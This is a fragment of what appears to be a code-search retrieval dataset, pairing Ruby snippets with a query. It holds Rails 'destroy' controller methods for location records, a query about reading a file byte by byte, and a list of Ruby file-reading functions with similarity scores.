|
[
"def delete\n render json: Location.delete(params[\"id\"])\n end",
"def destroy\r\n @location = Location.find(params[:id])\r\n @location.destroy\r\n\r\n respond_to do |format|\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @location = Location.find(params[:id])\n #@client = Client.find(@location.client_ids)\n #@contact = Contact.find(@location.contact_ids)\n \n @location.destroy\n\n respond_to do |format|\n \n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @totem_location.destroy\n respond_to do |format|\n format.html { redirect_to totem_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @locations = nil\n\n if params.has_key? :id\n location = Location.find params[:id]\n @locations = [ location ]\n elsif params.has_key? :ids\n @locations = Location.find params[:ids].split(\",\")\n end\n\n if not @locations.empty?\n @locations.each do |l|\n l.destroy\n end\n end\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record = Location.find(params[:id])\n @record.trash\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_location.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_locations_url, notice: 'Location was successfully destroyed.' }\n format.json { render json: { results: @api_v1_location, message: 'Location was successfully destroyed.' } }\n end\n end",
"def destroy\n set_location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, flash: {success: \"Successfully deleted #{@location.name} location!\" }}\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to geolocation_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @specific_location.destroy\n respond_to do |format|\n format.html { redirect_to specific_locations_url, notice: 'Specific location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ms_location.destroy\n respond_to do |format|\n format.html { redirect_to ms_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage_location = StorageLocation.find(params[:id])\n @storage_location.destroy\n\n respond_to do |format|\n format.html { redirect_to storage_locations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/locations', notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @records_location = RecordsLocation.find(params[:id])\n @records_location.destroy\n\n respond_to do |format|\n format.html { redirect_to records_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to trip_locations_path, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n render :json => { status: :deleted, head: :no_content }\n end",
"def delete\n @location = Location.find(params[:location_id])\n end",
"def destroy\n @location_have_location = LocationHaveLocation.find(params[:id])\n @location_have_location.destroy\n\n respond_to do |format|\n format.html { redirect_to location_have_locations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n return unless admin?\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@items_location = ItemsLocation.find(params[:id])\n #@items_location.destroy\n\n respond_to do |format|\n format.html { redirect_to items_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @location = $User.get_location(params[:id])\n @location.kill\n GlobalData.reload(:locations)\n respond_to do |format|\n format.html { redirect_to('/locations') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @corp_location = CorpLocation.get(params[:id])\n @corp_location.destroy\n\n respond_to do |format|\n format.html { redirect_to corp_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @processed_location = ProcessedLocation.find(params[:id])\n @processed_location.destroy\n\n respond_to do |format|\n format.html { redirect_to processed_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts \"\\nDESTROY: #{@location.inspect}\"\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: \"Location was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t @location = Location.find(params[:id])\n\t @location.destroy\n\n\t respond_to do |format|\n\t format.html { redirect_to locations_url }\n\t format.json { head :no_content }\n\t end\n\t end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: \"Location was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location.destroy\n respond_to do |format|\n format.html { redirect_to locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loc = current_user.locs.find(params[:id])\n @loc.destroy\n\n respond_to do |format|\n format.html { redirect_to locs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = apply_scopes(Location).find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_locations_url(:site => current_site.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @locationmap = Locationmap.find(params[:id])\n @locationmap.destroy\n\n respond_to do |format|\n format.html { redirect_to locationmaps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @locid = params[:id]\n Location.destroy(@locid)\n end",
"def destroy\n @location = current_user.locations.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @event_location = EventLocation.find(params[:id])\n @event_location.destroy\n\n respond_to do |format|\n format.html { redirect_to event_locations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_location.destroy\n respond_to do |format|\n format.html { redirect_to admin_locations_url, notice: 'Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @discounts_on_location = DiscountsOnLocation.find(params[:id])\r\n @discounts_on_location.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to discounts_on_locations_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @storage_location = StorageLocation.find(params[:id])\n @storage_location.destroy\n\n respond_to do |format|\n format.html { redirect_to(storage_locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @slocation.destroy\n respond_to do |format|\n format.html { redirect_to slocations_url, notice: 'Story Location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(root_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @locationtype.destroy\n respond_to do |format|\n format.html { redirect_to locationtypes_url, notice: 'Locationtype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maplocation.destroy\n respond_to do |format|\n format.html { redirect_to maplocations_url, notice: 'Maplocation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n CONNECTION.execute(\"DELETE FROM locations WHERE id = #{self.id};\")\n end",
"def destroy\n @item_location.destroy\n respond_to do |format|\n format.html { redirect_to item_locations_url, notice: 'Item location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location_detail.destroy\n respond_to do |format|\n format.html { redirect_to location_details_url, notice: 'Location detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @muster_location.destroy\n respond_to do |format|\n format.html { redirect_to muster_locations_url, notice: 'Muster location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location = Location.find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to( admin_locations_path) }\n end\n end",
"def destroy\r\n @backend_location.destroy\r\n respond_to do |format|\r\n format.html { redirect_to backend_locations_url, notice: 'Location was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @location = current_user.locations.find_by_slug(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @patient_location.destroy\n respond_to do |format|\n format.html { redirect_to patient_locations_url, notice: 'Patient location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location_url_map = LocationUrlMap.find(params[:id])\n @location_url_map.destroy\n\n respond_to do |format|\n format.html { redirect_to location_url_maps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sign = Sign.find(params[:id])\n @location = Location.find(@sign.location_id)\n @sign.destroy\n\n respond_to do |format|\n format.html { redirect_to location_index_path(@location.name.downcase) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @location_time.destroy\n respond_to do |format|\n format.html { redirect_to location_times_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @location = Location.find(params[:id])\r\n RemovedLocation.create(server_id: Integer(params[:id]))\r\n directory = Rails.root.join('app','assets','locations');\r\n\r\n path = File.join(directory, @location.image)\r\n File.delete(path)\r\n @location.destroy\r\n mv = MapsVersion.first\r\n mv.version = mv.version+1\r\n mv.save\r\n respond_to do |format|\r\n format.html { redirect_to locations_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @recipe_location.destroy\n respond_to do |format|\n format.html { redirect_to recipe_locations_url, notice: 'Recipe location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant_location.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_locations_url, notice: 'Restaurant location was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7645932",
"0.7416999",
"0.7319656",
"0.73018676",
"0.7292965",
"0.7292965",
"0.72866315",
"0.7276926",
"0.7261458",
"0.72602606",
"0.72602606",
"0.72602606",
"0.72602606",
"0.72483915",
"0.7226834",
"0.72016335",
"0.7184247",
"0.7173217",
"0.71658397",
"0.7111943",
"0.71053326",
"0.709877",
"0.7087436",
"0.70798355",
"0.70795035",
"0.70692575",
"0.7051302",
"0.70482695",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.70457333",
"0.704268",
"0.70425975",
"0.7032201",
"0.7031333",
"0.70155126",
"0.7010658",
"0.7002912",
"0.700283",
"0.70027584",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.70017433",
"0.6999953",
"0.6970647",
"0.6964269",
"0.69618505",
"0.6953652",
"0.6945519",
"0.6924832",
"0.69240075",
"0.69147444",
"0.69119954",
"0.6899195",
"0.6890117",
"0.68854564",
"0.68676174",
"0.68644166",
"0.6852828",
"0.684787",
"0.6844892",
"0.6841212",
"0.68395835",
"0.6838638",
"0.68384343",
"0.6831861",
"0.6830543",
"0.68123627",
"0.68121827",
"0.68093926"
] |
0.728289
|
14
|
Read the file one byte at a time
|
def read_body(&block)
while byte = @body.read(1)
yield byte
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def read()\n @file.seek(@address)\n @file.getc\n end",
"def read(bytes)\n read_file(@reader, bytes) unless peek_named_pipe(@reader).zero?\n end",
"def each\n File.open(to_path, 'rb') do |file|\n while chunk = file.read(16384)\n yield chunk\n end\n end\n end",
"def read_binary(file); end",
"def read_chunk\n #puts(\"Reading #{BLOCK_SIZE} bytes from offset #{self.head}\")\n \n # Read a block relative to the head pointer offset\n self.last_chunk = File.read(buffer_file.path, BLOCK_SIZE, self.head)\n self.head += BLOCK_SIZE\n \n # If we've read to the end, loop around to the start\n if self.head >= File.size(buffer_file)\n self.head = 0\n end \n end",
"def read_file(block=0)\n Rula.log(Logger::DEBUG,\"Reading file #{filename} block #{block}\",self)\n return nil if(block >= @file_size)\n return nil if(block < 0)\n file_handle = File.open(@filename,'rb')\n file_handle.pos = block\n @previous_block_read = file_handle.pos\n data = file_handle.read(@@BLOCK_SIZE)\n @last_block_read = file_handle.pos\n Rula.log(Logger::DEBUG,\"Read #{data.length} bytes\",self)\n @file_eof = file_handle.eof\n return data\n ensure \n file_handle.close() unless file_handle.nil?\n end",
"def read(position)\n @file.seek(position)\n size = @file.readbytes(4).unpack('N').first\n @file.readbytes(size)\n end",
"def read_all_bytes\n # 1. Open file with option \"r\" (reading) and \"b\" (binary, useful for window system)\n open_file\n \n # 2. Read all bytes\n begin\n bytes = @file_handle.read(self.size).unpack(\"C*\")\n return bytes\n rescue\n # re-raise system the excepiton\n raise\n return nil\n ensure\n # 3. Close the file\n close_file\n end\n end",
"def read_all_bytes\n # 1. Open file with option \"r\" (reading) and \"b\" (binary, useful for window system)\n open_file\n \n # 2. Read all bytes\n begin\n bytes = @file_handle.read(self.size).unpack(\"C*\")\n return bytes\n rescue\n # re-raise system the excepiton\n raise\n return nil\n ensure\n # 3. Close the file\n close_file\n end\n end",
"def next_byte(close)\n if !is_file_open?\n open_file\n end\n \n begin\n current_byte = @file_handle.getc\n \n if current_byte == nil or close\n close_file\n else\n @position += 1\n end\n\n return current_byte\n rescue\n # re-raise system the excepiton\n raise\n close_file\n return nil\n end\n \n end",
"def file\n __advance!\n @_st_stream\n end",
"def read_chr\n @file.getc unless @file.eof?\n end",
"def read(byte_count)\n buffer = @current_io.read(byte_count)\n if !buffer\n select_next_io\n @current_io.read(byte_count)\n else\n buffer\n end\n end",
"def read\n @fileobj.seek @data_offset\n @data = @fileobj.read @data_size\n end",
"def read_bytes(count)\n result = @content.byteslice(@cursor, count)\n @cursor += count\n result\n end",
"def check_read(file, bytes); end",
"def check_read(file, bytes); end",
"def read(offset, size)\n @file.seek(@offset + offset, IO::SEEK_SET)\n @file.read(size)\n end",
"def each(&block)\n File.open(filepath, 'rb') do |io|\n while part = io.read(block_size)\n yield part\n end\n end\n end",
"def read_all(&block)\n seek_at 0\n i = -1\n yield *([i += 1] + read) until eof?\n end",
"def each\n while (s = read_bytes(4096, \"\"))\n yield s\n end\n end",
"def read_bytes_full\n @_io.read\n end",
"def read(*args)\r\n\t\t\tfh=@fh or return\r\n\t\t\tif args[1]!=nil\r\n\t\t\t\tfh.seek(args[1],IO::SEEK_CUR)\r\n\t\t\tend\r\n\t\t\tresult=fh.read(args[0])\r\n\t\t\tif result!=nil and @tell!=nil\r\n\t\t\t\t@tell+=result\r\n\t\t\tend\r\n\t\t\tresult\r\n\t\tend",
"def next_file\n @current_file_index += 1\n\n if @current_file_index >= @files.length\n @current_file = @files.first\n @current_file_index = 0\n else\n @current_file = @files[@current_file_index]\n end\n\n @data = load_file(@current_file)\n end",
"def read() end",
"def read_bytes(amount, mut)\n amount.times.each_with_object([]) { |_idx, arr| arr << read_byte(false, mut) }\n end",
"def read(length=nil, offset=nil)\n ::File.read(path.to_s, length, offset)\n end",
"def read(start: 0, num: 10)\n f = open(@filename, 'r')\n # Iterate to start line\n start.times { f.gets }\n \n # Read lines start to last\n data = ''\n num.times {\n chunk = f.gets\n data << chunk unless chunk.nil?\n }\n \n f.close()\n return data\n end",
"def read(block)\n @filemgr.read(block, @contents)\n end",
"def read(filename)\n buffer = File.read filename if File.exist? filename\n end",
"def read(filename)\n buffer = File.read filename if File.exist? filename\n end",
"def read\n file.read\n end",
"def read (filename, length, client)\n afile = File.new(filename.to_s, \"r\")\n if afile\n content = afile.sysread(length)\n puts content\n client.puts content\n else\n client.puts \"Unable to read file!\"\n end\nend",
"def read\n @read ||= File.read(path)\n end",
"def read_byte; end",
"def read(n)\n end",
"def read_binary_file(path)\n File.open(path, 'rb') {|f| f.read }\n end",
"def run\n begin\n yield @first_line if block_given?\n while (size = File::Stat.new(@filename).size) >= @next_start\n size = @file.stat.size\n reset_buffer_size\n begin\n line = \"\"\n @file.seek(@next_start, File::SEEK_SET)\n @file.read(@buf_size, @buffer)\n buffer_start = @next_start\n found_new_line = false\n 0.upto(@buffer.size - 1) do |index|\n line << @buffer[index]\n if @buffer[index].chr == \"\\n\"\n yield(line) if block_given?\n line = \"\"\n found_new_line = true\n @next_start = buffer_start + index + 1\n end\n end\n unless found_new_line || @buffer.empty?\n raise BufferError\n end\n rescue BufferError\n increment_buffer_size\n retry\n end\n\t sleep 0.01\n end\n rescue Errno::ENOENT\n # Wait until the file is recreated\n while !File.exists?(@filename)\n sleep 0.05\n end\n end\n end",
"def readbyte\n end",
"def read_chunk(size)\n standard_read_chunk(size)\n end",
"def read_byte\n @buffer.shift(BYTE_LENGTH).join.to_i(2) if @buffer.length >= BYTE_LENGTH\n end",
"def read\n return unless ::File.exist?(@file)\n\n @data = Bencode.decode(::File.read(@file))\n end",
"def read\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}----------------------------------------\"\n end\n\n # Determine the inode number of the file we want to read.\n @inode = `ls -i #{@pathname.to_s}`.split[0].to_i\n\n # Read the meta info file for the file we want to read.\n meta_info = read_meta_info\n\n if meta_info[:inode] != @inode\n # The inode has changed for this file since we last read it, so\n # we need to read it from the beginning.\n\n offset = 0\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode has changed!\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, offset, mode: 'r')\n @read_bytes = @read_string.bytesize\n elsif @pathname.size < meta_info[:bytes_read]\n # The inode has not changed, but the file size is smaller, which means\n # the file may have been truncated at some point, so we will read the\n # while file.\n\n offset = 0\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode match. possible truncated file.\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, 0, mode: 'r')\n @read_bytes = @read_string.bytesize\n else\n # The inode is the same as the last time we read it and the file size\n # is >= than last time, so we can read from where we left off.\n\n offset = meta_info[:bytes_read]\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode match\"\n puts \"[DEBUG] - #{self}##{__method__}: offset: #{offset}\"\n end\n\n @read_string = IO.read(@pathname, nil, offset, mode: 'r')\n @read_bytes = meta_info[:bytes_read] + @read_string.bytesize\n end\n\n @data_read = true\n\n if RubyFileReader::Reader.debug?\n puts \"[DEBUG] - #{self}##{__method__}: inode: #{@inode}\"\n puts \"[DEBUG] - #{self}##{__method__}: read_string: #{@read_string}\"\n puts \"[DEBUG] - #{self}##{__method__}: read_bytes #{@read_bytes}\"\n puts \"[DEBUG] - #{self}##{__method__}: data_read: #{@data_read}\"\n end\n end",
"def read_next_command\n\n\t\tif !@file.eof\n\t\t\t@file.readline\n\t\telse\n\t\t\t@file.close\n\t\tend\n\n\tend",
"def read\n @io.rewind\n @io.read\n end",
"def read &block\n prep_read\n data = block_given? ?\n file_handle.each {|line| yield line } :\n file_handle.read\n @read_position = file_handle.pos\n data\n end",
"def read_all(into_buffer)\n while (read_bytes(4096, into_buffer))\n # work is in the loop condition.\n end\n return into_buffer\n end",
"def binread(fname)\n File.open(fname, 'rb'){ |f|\n return f.read\n }\n end",
"def make\n @file.read(1)\n @file.rewind\n @file\n end",
"def read\n with_flock(File::LOCK_SH) do\n # File was opened\n unless @pos\n @fd.pos = 0\n @format.read_header(@fd)\n @size = 0\n @emit.call(nil)\n else\n @fd.pos = @pos\n end\n buf = @fd.read\n @pos = @fd.pos\n buf\n end\n end",
"def each\n loop do\n yield read\n end\n end",
"def read\n return nil if FileTest.exist?(@fname)==false\n\n open(@fname,\"rb\") do |file| #Read & Binary mode\n @data = Marshal.load(file)\n end\n @data\n end",
"def read\n\t\t\t\t\t@stream.readpartial(BLOCK_SIZE)\n\t\t\t\trescue EOFError, IOError\n\t\t\t\t\t# I noticed that in some cases you will get EOFError, and in other cases IOError!?\n\t\t\t\t\treturn nil\n\t\t\t\tend",
"def get_data(file)\n f = File.open(file, 'rb')\n buffer = f.read\n f.close\n\n buffer\n end",
"def bytes(range)\n range = (range..range) if range.is_a?(Integer)\n file = File.open(@file_path, 'rb')\n file.pos = range.first\n _bytes = []\n range.size.times do\n _bytes << file.readbyte\n end\n file.close\n _bytes\n end",
"def read(path, size = nil, offset = 0, opts = {})\n file.open(path, opts[:mode] || 'r') do |io|\n io.pos = offset if offset != 0\n io.gets(size)\n end\n end",
"def read(i)\r\n\t\t\tres = @innerStream.read(i)\r\n\t\t\t@transferred += res.respond_to?(:length) ? res.length : 0\r\n\t\t\tnow = Time.new\r\n\t\t\tif(now - @last > 1) # don't do this oftener than once per second\r\n\t\t\t\t@printed = true\r\n\t\t\t\t$stdout.printf(\"\\rProgress: %db %db/s %s \", @transferred, (@transferred/(now - @start)).floor, \r\n\t\t\t\t\t@total > 0? (100 * @transferred/@total).floor.to_s + \"%\" : \"\" \r\n\t\t\t\t) \r\n\t\t\t\t$stdout.flush\r\n\t\t\t\t@last = now\r\n\t\t\tend\r\n\t\t\tres\r\n\t\tend",
"def read\n @index += 1\n line = @last ? @last : @lines[@index]\n @last = nil\n line\n end",
"def extract_file_bytes(file)\n open_file << @file_data.read(file.size)\n open_file.close\n end",
"def each\n\t\treturn self if (!@fp)\n\t\tyield Marshal.load(@fp) while (!@fp.eof)\n\t\treturn self \n\tend",
"def each_byte(&block)\n bytes = self.bytes\n pos = 0\n while(pos < bytes.size)\n block.call(bytes[pos])\n pos += 1\n end\n self\n end",
"def my_file_reader(fname)\n fstream = File.open(fname, 'r')\n data = fstream.read\n fstream.close\n \n return data\nend",
"def read(size)\n data = @data.byteslice(@pos, size)\n @pos += size\n data\n end",
"def read(bytes)\n @reader.read_nonblock(bytes)\n rescue Errno::EAGAIN\n # it simply means that there's nothing in\n # the output buffer.\n rescue Errno::EIO => msg\n @pid = nil\n rescue EOFError => msg\n @pid = nil\n end",
"def each_byte(&block)\n unless block_given?\n return IoByteEnumerator.new(self, :each_byte) # for 1.8.7\n end\n while ch = getbyte()\n yield ch\n end\n self\n self\n end",
"def read_file_and_close(filename)\n counter = 1\n file = File.new(filename, \"r\") #\"readfile.rb\"\n while (line = file.gets)\n puts \"#{counter}: #{line}\"\n counter = counter + 1\n end\n file.close\n end",
"def send_bytes(file)\n until file.eof?\n buffer = file.read(1024)\n @socket.write(buffer)\n end\n end",
"def read\n file\n end",
"def read(size = @chunk_size)\n case size\n when nil\n chunk = nil\n while temp = read(@chunk_size)\n if chunk\n chunk << temp\n else\n chunk = temp\n end\n end\n chunk\n when Integer\n read_chunk(size)\n else\n raise ArgumentError,\n \"Read size (#{size.inspect}) must be an Integer or nil.\"\n end\n end",
"def read file\n File.open file\n end",
"def read_bytes(sd, n)\n\n out = []\n\n while (n > out.size) \n data = sd.read_bytes(n - out.size)\n break unless data\n out = out + data\n end\n\n return out\nend",
"def read_tail(f)\n f.seek(0)\n f.readbytes(4).unpack('N').first\n end",
"def read(bytes = @length)\n return nil if @pos >= @length\n bytes = @length - @pos if bytes.nil?\n bytes = @length - @pos if @pos + bytes > @length\n\n out = @data[@pos, bytes] if @data.kind_of?(String)\n out = @data.read(bytes) if @data.kind_of?(NTFS::DataRun)\n\n @pos += out.size\n out\n end",
"def read\n @lines.shift\n end",
"def readbyte\n getbyte || raise(EOFError)\n end",
"def read(n)\n Buffer.new(slice!(0, n))\n end",
"def fread(file)\n\tf = open(file, \"r\")\n\tres = f.read\n\tf.close\n\treturn res\nend",
"def read\n read_object(read_byte)\n end",
"def read\n data = File.open(@filename, mode(\"r\")) do |f|\n f.flock File::LOCK_SH\n f.read\n end\n import(data)\n end",
"def next_byte(io)\n io.readbytes(1).unpack(\"C\")[0]\n end",
"def read()\n File.open(\"/tmp/mount/y0\", \"r\").read.to_f\nend",
"def read(*args) IO.read(path, *args) end",
"def read_into_buffer(buffer, size)\n tmp = read_all(size)\n i = 0\n tmp.each_byte do |byte|\n Bytes.set_string_byte(buffer, i, byte)\n i += 1\n end\n i\n end",
"def read(offset, how_much)\n @stream.read(how_much)\n end",
"def read(offset, how_much)\n @stream.read(how_much)\n end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
"def read; end",
